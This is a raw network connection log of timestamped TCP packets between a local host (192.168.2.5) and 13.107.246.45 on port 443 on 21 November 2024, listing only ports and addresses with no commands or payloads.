Nov 21, 2024 03:08:31.664288998 CET	49727	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.664330006 CET	443	49727	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.664587975 CET	49727	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.664588928 CET	49727	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.664625883 CET	443	49727	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.675093889 CET	443	49721	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.675142050 CET	443	49721	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.675250053 CET	49721	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.675329924 CET	49721	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.675329924 CET	49721	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.675334930 CET	443	49721	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.675340891 CET	443	49721	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.677382946 CET	49728	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.677402973 CET	443	49728	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.677481890 CET	49728	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.677630901 CET	49728	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.677650928 CET	443	49728	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.695955992 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.696027040 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.696213961 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.696244955 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.696260929 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.696295023 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.696302891 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.698195934 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.698257923 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.698329926 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.698432922 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.698452950 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.749274969 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.749337912 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.749567032 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.749838114 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.749872923 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.749902010 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.749916077 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.751966953 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.751998901 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.753560066 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.753614902 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.753623962 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.266309977 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.267128944 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.267200947 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.268882990 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.268901110 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.384494066 CET	443	49727	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.385421991 CET	49727	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.385438919 CET	443	49727	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.385814905 CET	49727	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.385822058 CET	443	49727	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.455302954 CET	443	49728	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.456083059 CET	49728	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.456100941 CET	443	49728	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.456392050 CET	49728	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.456408978 CET	443	49728	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.479187012 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.479845047 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.479898930 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.480154991 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.480166912 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.543088913 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.544039965 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.544054985 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.544300079 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.544305086 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.805855989 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.805923939 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.806253910 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.806253910 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.806339025 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.806391001 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.808878899 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.808931112 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.809014082 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.809140921 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.809173107 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.818876028 CET	443	49727	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.818929911 CET	443	49727	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.818970919 CET	49727	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.819127083 CET	49727	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.819139957 CET	443	49727	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.819171906 CET	49727	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.819176912 CET	443	49727	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.821686029 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.821721077 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.821803093 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.821914911 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.821929932 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.899807930 CET	443	49728	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.899878979 CET	443	49728	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.900018930 CET	49728	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.905484915 CET	49728	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.905484915 CET	49728	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.905498028 CET	443	49728	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.905508995 CET	443	49728	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.908402920 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.908452988 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.908550024 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.908729076 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.908744097 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.924060106 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.924128056 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.924274921 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.924510956 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.924537897 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.924570084 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.924583912 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.926572084 CET	49734	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.926604033 CET	443	49734	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.926680088 CET	49734	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.926814079 CET	49734	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.926830053 CET	443	49734	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.989187956 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.989252090 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.989373922 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.989566088 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.989576101 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.991736889 CET	49735	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.991751909 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:33.991820097 CET	49735	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.991954088 CET	49735	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:33.991966009 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.598716974 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.599630117 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:35.599639893 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.600100040 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:35.600104094 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.647840977 CET	443	49734	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.648471117 CET	49734	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:35.648479939 CET	443	49734	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.649085045 CET	49734	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:35.649089098 CET	443	49734	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.653574944 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.653897047 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:35.653918028 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.654397964 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:35.654403925 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.655056000 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.655407906 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:35.655467033 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.655823946 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:35.655837059 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.716280937 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.716950893 CET	49735	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:35.716975927 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:35.717400074 CET	49735	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:35.717405081 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.046077013 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.046258926 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.046360016 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.046484947 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.046497107 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.046510935 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.046515942 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.049407005 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.049447060 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.049530029 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.049696922 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.049710035 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.085884094 CET	443	49734	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.085953951 CET	443	49734	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.086009979 CET	49734	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.086208105 CET	49734	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.086214066 CET	443	49734	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.086224079 CET	49734	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.086227894 CET	443	49734	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.089251995 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.089294910 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.089378119 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.089549065 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.089561939 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.107573032 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.107727051 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.107784033 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.107837915 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.107853889 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.107862949 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.107867956 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.108587980 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.108652115 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.108762980 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.109086037 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.109132051 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.109184980 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.109201908 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.111939907 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.111965895 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.112035036 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.112258911 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.112268925 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.112323046 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.112534046 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.112544060 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.112565041 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.112579107 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.157160044 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.157227993 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.157283068 CET	49735	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.157494068 CET	49735	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.157505035 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.157515049 CET	49735	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.157526016 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.160114050 CET	49740	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.160140038 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:36.160208941 CET	49740	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.160408020 CET	49740	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:36.160417080 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.804758072 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.806462049 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:37.806485891 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.806934118 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:37.806937933 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.867391109 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.867960930 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:37.867976904 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.868732929 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:37.868736982 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.896080971 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.896761894 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:37.896775961 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.897381067 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:37.897386074 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.941188097 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.942087889 CET	49740	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:37.942106962 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.942553043 CET	49740	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:37.942557096 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.958857059 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.959321976 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:37.959353924 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:37.959702015 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:37.959707975 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.238723040 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.238794088 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.238862991 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.239085913 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.239108086 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.239116907 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.239123106 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.242340088 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.242379904 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.242620945 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.242846966 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.242862940 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.311885118 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.311964989 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.312031984 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.312248945 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.312273979 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.312289953 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.312297106 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.315053940 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.315105915 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.315191031 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.315295935 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.315316916 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.339839935 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.339926004 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.340006113 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.340142965 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.340152025 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.340166092 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.340171099 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.343142986 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.343183041 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.343249083 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.343413115 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.343427896 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.384849072 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.384922981 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.384974957 CET	49740	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.385299921 CET	49740	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.385313034 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.385323048 CET	49740	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.385329008 CET	443	49740	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.389002085 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.389041901 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.389108896 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.389389992 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.389405012 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.414599895 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.414671898 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.414721012 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.414866924 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.414879084 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.414889097 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.414894104 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.417361021 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.417387962 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:38.417474985 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.417609930 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:38.417619944 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:39.975717068 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:39.976377964 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:39.976465940 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:39.976989985 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:39.977009058 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.124274015 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.141633987 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.141719103 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.142225027 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.142240047 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.163861990 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.208386898 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.234150887 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.237246990 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.237262011 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.237906933 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.237926006 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.238529921 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.238534927 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.238872051 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.238878965 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.269541979 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.281434059 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.281444073 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.304944038 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.304949045 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.416421890 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.416492939 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.416569948 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.419930935 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.419930935 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.419975042 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.419998884 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.434732914 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.434767008 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.434829950 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.435244083 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.435259104 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.567327023 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.567388058 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.567447901 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.567635059 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.567661047 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.567694902 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.567711115 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.570502996 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.570533991 CET	443	49747	13.107.246.45	192.168.2.5
